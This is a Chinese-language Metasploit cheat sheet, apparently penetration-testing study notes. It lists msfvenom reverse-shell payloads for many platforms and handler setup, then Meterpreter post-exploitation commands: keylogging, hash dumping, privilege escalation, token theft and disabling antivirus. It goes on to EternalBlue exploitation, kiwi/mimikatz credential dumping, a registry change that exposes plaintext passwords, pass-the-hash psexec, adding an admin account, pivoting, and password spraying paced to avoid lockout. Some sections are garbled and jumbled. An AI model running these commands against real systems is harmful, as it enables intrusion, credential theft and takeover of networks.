1 基本操作
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
1.1运行
Shell中直接输入msfconsole
1.2 建立搜索缓存(数据库)
启动PostgreSQL数据库服务 :service postgresql start 监听5432端口 初始化Metasploit数据库 :msfdb init 查看数据库联接情况 :msfconsole db_status 建立数据库缓存 :msfconsole db_rebuild_cache
1.3 专业术语
– Exploit,攻击工具/代码 – Payload,攻击载荷 – Shellcode shell 代码 – Module,模块 – Listener,监听器
1.4 命令
常用命令 show exploits – 查看所有可用的渗透攻击程序代码 show auxiliary – 查看所有可用的辅助攻击工具 show options – 查看该模块所有可用选项 show payloads – 查看该模块适用的所有载荷代码 show targets – 查看该模块适用的攻击目标类型 search – 根据关键字搜索某模块 info – 显示某模块的详细信息 use – 进入使用某渗透攻击模块 back – 回退 set/unset – 设置/禁用模块中的某个参数 setg/unsetg – 设置/禁用适用于所有模块的全局参数 save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用 Cd 更改当前的工作目录 核心命令 Sessions 转储会话列表并显示有关会话的信息 Color 切换颜色 Set 将特定于上下文的变量设置为一个值 Connect 连接与主机通信 Setg 将全局变量设置为一个值 exit 退出控制台 sleep 在指定的秒数内不做任何事情 get 获取特定于上下文的变量的值 spool 将控制台输出写入文件以及屏幕 getg 获取全局变量的值 threads 线程查看和操作后台线程 grep grep 另一个命令的输出 unload 卸载框架插件 history 显示命令历史 unset 取消设置一个或多个特定于上下文的变量 irb 进入irb脚本模式 unsetg 取消设置一个或多个全局变量 load 加载一个框架插件 version 显示框架和控制台库版本号 quit 退出控制台 route 通过会话路由流量 save 保存活动的数据存储 数据库后端命令 analyze 分析有关特定地址或地址范围的数据库信息 db_connect 连接到现有数据服务 db_disconnect 断开与当前数据服务的连接 db_export 导出包含数据库内容的文件 db_import 导入扫描结果文件(将自动检测文件类型) db_nmap 执行nmap并自动记录输出 db_rebuild_cache 重建数据库存储的模块高速缓存 db_remove 删除已保存的数据服务条目 db_save 将当前数据服务连接保存为启动时重新连接的默认值 db_status 显示当前数据服务状态 hosts 列出数据库中的所有主机 loot 列出数据库中的所有战利品 notes 列出数据库中的所有注释 services 列出数据库中的所有服务 vulns 列出数据库中的所有漏洞 workspace 在数据库工作区之间切换 凭据后端命令 creds 列出数据库中的所有凭据 模块命令 Advanced 显示一个或多个模块的高级选项 2 Metasploit功能程序 msfvenom (攻击载荷生成和编码器) 主要参数:-p payload-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值LHOST,LPORT 监听 上线的主机IP和端口-f exe 生成EXE格式使用msfvenom -l 可以查看可以利用payloadmsfvenom -l | grep windows | grep x64 | grep tcp 选择payload 2.1 生成可执行文件 Back 从当前上下文返回 Edit 使用首选编辑器编辑当前模块 info 显示有关一个或多个模块的信息 loadpath 路径从路径搜索并加载模块 options 显示全局选项或一个或多个模块 popm 将最新的模块从堆栈中弹出并使其处于活动状态 previous 将之前加载的模块设置为当前模块 pushm 将活动或模块列表推入模块堆栈 reload_all 从所有定义的模块路径重新加载所有模块 search 搜索模块名称和描述 show 显示给定类型的模块或所有模块 use 按名称选择模块 enumdesktops #查看可用的桌面 getdesktop #获取当前meterpreter 关联的桌面 setdesktop #设置meterpreter关联的桌面 -h查看帮助 screenshot #截屏 run vnc #使用vnc远程桌面连接
2 Metasploit功能程序
msfvenom (攻击载荷生成和编码器)
-
主要参数:-p payload-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值LHOST,LPORT 监听
上线的主机IP和端口-f exe 生成EXE格式使用msfvenom -l 可以查看可以利用payloadmsfvenom -l
| grep windows | grep x64 | grep tcp 选择payload
2.1 生成可执行文件
Linux: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe Mac: msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho PHP: msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ASP: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp JSP: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp WAR: msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war Python: msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py Bash: msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh Perl: msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
2.2 监听
set PAYLOAD <Payload name> set LHOST <LHOST value> set LPORT <LPORT value> set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态) exploit -j –z -j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行) 12345
也可以在启动的时候监听
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_http; set lhost 127.0.0.1; set lport 1234; exploit - j; "
高级选项
set PrependMigrate true 自动添加新进程
2.3 实例
msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=10.10.10.150 LPORT=4444 -f exe > abc.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.150 LPORT=4444 -f exe > abc.exe
msf > use exploit/multi/handler msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp msf exploit(handler) > show options msf exploit(handler) > set LHOST 10.10.10.150 msf exploit(handler) > set ExitOnSession false set ExitOnSession false 让connection保持连接(即使一个连接退出,仍然保持listening状态) msf exploit(handler) > exploit -j -z -j(计划任务下进行攻击,后台) -z(攻击完成不遇会话交互) msf exploit(handler) > jobs 查看后台攻击任务 msf exploit(handler) > kill <id> 停止某后台攻击任务 msf exploit(handler) > sessions -l (查看会话)
background 放置后台 msf exploit(handler) > sessions 1 选择会话 msf exploit(handler) > sessions -k 1 结束会话
Ctrl+z 把会话放到后台 Ctrl+c 结束会话
3 Meterpreter后攻击
Meterpreter提供的功能包括反追踪、纯内存工作模式、系统 信息获取、密码哈希导出、文件上传下
载、屏幕截取、键盘记 录、权限提升、跳板攻击等等。
3.1 常用命令:
meterpreter > background 放回后台 meterpreter > exit 关闭会话 meterpreter > help 帮助信息 meterpreter > Sysinfo 系统平台信息 meterpreter > screenshot 屏幕截取 meterpreter > shell 命令行shell (exit退出) meterpreter > getlwd 查看本地目录 meterpreter > lcd 切换本地目录 meterpreter > getwd 查看目录 meterpreter > ls 查看文件目录列表 meterpreter > cd 切换目录 meterpreter > rm 删除文件 meterpreter > download C:\\Users\\123\\Desktop\\1.txt 1.txt 下载文件 meterpreter > upload /var/www/wce.exe wce.exe 上传文件 meterpreter > search -d c: -f *.doc 搜索文件 meterpreter > execute -f cmd.exe -i 执行程序/命令 meterpreter > ps 查看进程 meterpreter > run post/windows/capture/keylog_recorder 键盘记录 meterpreter > getuid 查看当前用户权限 meterpreter > use priv 加载特权模块 meterpreter > getsystem 提升到SYSTEM权限 meterpreter > hashdump 导出密码散列 meterpreter > ps 查看高权限用户PID meterpreter > steal_token <PID> 窃取令牌 meterpreter > rev2self 恢复原来的令牌 meterpreter > migrate pid 迁移进程 meterpreter > run killav 关闭杀毒软件 meterpreter > run getgui-e 启用远程桌面 meterpreter > portfwd add -l 1234 -p 3389 -r <目标IP> 端口转发 meterpreter > run get_local_subnets 获取内网网段信息 meterpreter > run autoroute -s <内网网段> 创建自动路由 meterpreter > run autoroute -p 查看自动路由表 创建代理通道: msf > use auxiliary/server/socks4a 设置socks4代理模块 msf auxiliary(socks4a) > show options msf auxiliary(socks4a) > run 配置proxychains参数: nano /etc/proxychains.conf 修改代理监听端口,和前面端口一致 quite_mode 设置成安静模式:去掉如下参数前面的注释
4.现对目标主机进行自动漏洞攻击
db_nmap + db_autopwn
项目地址 https://github.com/hahwul/metasploit-autopwn
复制到插件目录
cp db_autopwn.rb /opt/metasploit-framework/plugins
加载插件
load db_autopwn
使用说明
db_autopwn [*] Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit modules -x Select modules based on vulnerability references -p Select modules based on open ports -e Launch exploits against all matched targets -r Use a reverse connect shell -b Use a bind shell on a random port (default) -q Disable exploit module output -R [rank] Only run modules with a minimal rank -I [range] Only exploit hosts inside this range -X [range] Always exclude hosts inside this range -PI [range] Only exploit hosts with these ports open -PX [range] Always exclude hosts with these ports open -m [regex] Only run modules whose name matches the regex -T [secs] Maximum runtime for any exploit in seconds
常用命令
db_autopwn -t -p -r db_autopwn -p -m exploit/windows/smb/ms17_010_eternalblue -e
5.内网渗透 ms17_010_eternalblue 永恒之蓝 获取权限
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/reverse_tcp set rhost 10.10.10.135 set lport 4444 exploitvi
6.内网渗透 获取hash和明文
在最新的版本中load mimikatz已经取消 现在使用kiwi模块
load kiwi
creds_all:列举所有凭据 creds_kerberos:列举所有kerberos凭据 creds_msv:列举所有msv凭据 creds_ssp:列举所有ssp凭据 creds_tspkg:列举所有tspkg凭据 creds_wdigest:列举所有wdigest凭据 dcsync:通过DCSync检索用户帐户信息 dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 kerberos_ticket_list:列举kerberos票据 kerberos_ticket_purge:清除kerberos票据 kerberos_ticket_use:使用kerberos票据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文 password_change:修改密码 wifi_list:列出当前用户的wifi配置文件 wifi_list_shared:列出共享wifi配置文件/编码
提示在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
7.内网渗透 psexec
在metasploite中存在一个psexec模块可以使用获取的hash进行登录
use exploit/windows/smb/psexec set SMBUser administrator set smbpass aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 set payload windows/meterpreter/reverse_tcp set rhosts 10.10.10.139 set lhost 10.10.10.150 set lport 6666 run
除了可以用hash 也可以使用明文
8.内网渗透 开启远程终端 添加账号
getgui 模块——开启远程桌面
run getgui -e 开启远程终端 run post/windows/manage/enable_rdp run getgui -u m -p QWEasd123 添加本地管理员
8.端口转发
如果服务器防火墙开启的情况下,有可能拦截远程终端端口,使用命令把远程端口3389转发出来
Usage: portfwd [-h] [add | delete | list | flush] [args] OPTIONS: -L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to. -R Indicates a reverse port forward. -h Help banner. -i <opt> Index of the port forward entry to interact with (see the "list" command). -l <opt> Forward: local port to listen on. Reverse: local port to connect to. -p <opt> Forward: remote port to connect to. Reverse: remote port to listen on. -r <opt> Forward: remote host to connect to.
转发3389端口
portfwd add -l 1234 -p 3389 -r 10.10.10.138 #受害者主机 rdesktop 127.0.0.1:1234
9.跨路由访问
在渗透测试过程中,经常拿到web主机与数据库不同在一个网段,可以得出这台主机还连着一个内网,
如果想要继续渗透内网,可以把这台web主机当作跳板机,对内网进行渗透
kali无法直接访问目标主机 但是kali获取受害者的权限 得知可以访问目标主机,所以可以通过受害者做跳板访问目标主机
获取内网网卡命令
run get_local_subnets
绑定路由 不绑定路由就没法访问目标主机
run autoroute -s 10.10.10.0/24
使用隧道 默认是使用socks5 也可以选择socks4a
use auxiliary/server/socks_proxy
编辑隧道配置文件
sudo vi /etc/proxychains4.conf
proxychains4 nmap 10.10.10.138 -sT -A -p 445
10.域信息收集
常用信息收集模块
auxiliary/scanner/discovery/arp_sweep #基于arp协议发现内网存活主机,这不能通过代理使用 auxiliary/scanner/portscan/ack #基于tcp的ack回复进行端口扫描,默认扫描1-10000端口 auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描,默认扫描1-10000端口 auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机 auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机 auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机 auxiliary/scanner/ftp/ftp_version #发现内网ftp服务,基于默认21端口 auxiliary/scanner/ssh/ssh_version #发现内网ssh服务,基于默认22端口 auxiliary/scanner/telnet/telnet_version #发现内网telnet服务,基于默认23端口 auxiliary/scanner/dns/dns_amp #发现dns服务,基于默认53端口 auxiliary/scanner/http/http_version #发现内网http服务,基于默认80端口 auxiliary/scanner/http/title #探测内网http服务的标题 auxiliary/scanner/smb/smb_version #发现内网smb服务,基于默认的445端口 use auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口 use auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口 auxiliary/scanner/mysql/mysql_version #发现内网mysql服务,基于默认3306端口 auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务,基于默认3389端口 auxiliary/scanner/redis/redis_server #发现内网Redis服务,基于默认6379端口 auxiliary/scanner/db2/db2_version #探测内网的db2服务,基于默认的50000端口 auxiliary/scanner/netbios/nbname
收集域信息
run post/windows/gather/enum_logged_on_users #查看登录过的用户信息 run post/windows/gather/enum_ad_groups #查看组信息 run post/windows/gather/enum_domain #定位域控 run post/windows/gather/enum_ad_computers #域内所有机器 use post/windows/gather/enum_patches #发现缺失的补丁 use post/multi/recon/local_exploit_suggester #快速识别可能被利用的漏洞 run post/windows/manage/migrate #自动进程迁移 run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上 run post/windows/manage/killav #关闭杀毒软件 run post/windows/manage/enable_rdp #开启远程桌面服务 run post/windows/manage/autoroute #查看路由信息 run post/windows/gather/enum_logged_on_users #列举当前登录的用户 run post/windows/gather/enum_applications #列举应用程序 run post/windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码 run post/windows/gather/smart_hashdump #dump出所有用户的hash run post/windows/gather/enum_domain_tokens #寻找域token
11.密码喷射
检测 用户账号
auxiliary/gather/kerberos_enumusers #Kerberos 用户名枚举–用户名字典 https://github.com/attackdebris/kerberos_enum_userlists
msf6 auxiliary(gather/kerberos_enumusers) > set DOMAIN redteam.club msf6 auxiliary(gather/kerberos_enumusers) > set rhosts 10.10.10.136 msf6 auxiliary(gather/kerberos_enumusers) > set user_file ~/Desktop/user msf6 auxiliary(gather/kerberos_enumusers) > set smbpass pass@123
注意 在尝试猜测密码时, 应考虑域的帐户锁定策略。一个明智的方法是一次尝试一个密码, 限制自己猜测两次(系统设置为锁定后3无效尝试) 或猜测四次(系统设置为锁定5无效尝试后) 每30分钟对一个帐户。30分钟是典型的 “lockout observation window”。
12.令牌登录
oad incognito #加载incognito list_tokens -u #列出当前系统可用的token impersonate_token 'NT AUTHORITYSYSTEM' #假冒SYSTEM token or impersonate_token NT AUTHORITY\SYSTEM #参数不加单引号需要对特殊字符进行转义 rev2self #返回原始token
13.steal_token窃取令牌
ps #查看系统进程信息 steal_token <pid值> #从指定进程中窃取token drop_token #删除窃取的token